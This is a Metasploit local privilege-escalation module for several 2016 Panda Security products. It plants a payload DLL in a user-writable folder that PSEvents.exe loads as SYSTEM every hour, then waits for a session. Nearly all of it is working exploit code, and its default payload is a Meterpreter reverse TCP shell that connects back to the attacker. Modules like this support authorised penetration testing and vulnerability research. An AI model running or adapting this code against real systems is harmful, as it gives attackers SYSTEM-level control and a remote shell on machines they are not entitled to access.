Panda Security PSEvents Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Exploit::FileDropper
  include Post::File
  include Msf::Post::Windows::Version

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Panda Security PSEvents Privilege Escalation',
        'Description' => %q{
          PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
          When run, it checks a user writable folder for certain DLL files, and if any are found
          they are automatically run.
          Vulnerable Products:
          Panda Global Protection 2016 (<=16.1.2)
          Panda Antivirus Pro 2016 (<=16.1.2)
          Panda Small Business Protection (<=16.1.2)
          Panda Internet Security 2016 (<=16.1.2)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die <[email protected]>', # Module,
          'Security-Assessment.com' # discovery
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'payload' => 'windows/meterpreter/reverse_tcp',
          'exitfunc' => 'seh'
        },
        'References' => [
          [
            'EDB', '40020',
            'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
            'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
          ]
        ],
        'DisclosureDate' => '2016-06-27'
      )
    )
    register_options(
      [
        OptEnum.new('DLL', [
          true, 'dll to create', 'cryptnet.dll',
          ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']
        ]),
        OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
      ]
    )
  end

  def get_path
    version = get_version_info
    if version.build_number < Msf::WindowsVersion::Vista_SP0
      return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
    else # AllUsers directory changed as of Vista
      return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
    end
  end

  def check
    if directory?(get_path)
      print_good('Vuln path exists')
      CheckCode::Appears
    else
      vprint_error("#{get_path} doesn't exist on target")
      CheckCode::Safe
    end
  end

  def exploit
    version = get_version_info
    vprint_status("OS Detected as: #{version.product_name}")

    payload_filepath = get_path
    payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}"
    upload_payload_dll(payload_filepath)

    # start the hour wait
    stime = Time.now.to_f
    print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
    print_status "Start Time: #{Time.now}"
    Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
  end

  def upload_payload_dll(payload_filepath)
    payload = generate_payload_dll
    print_status('Uploading the Payload DLL to the filesystem...')
    begin
      vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
      write_file(payload_filepath, payload)
      register_file_for_cleanup(payload_filepath)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
    end
  end
end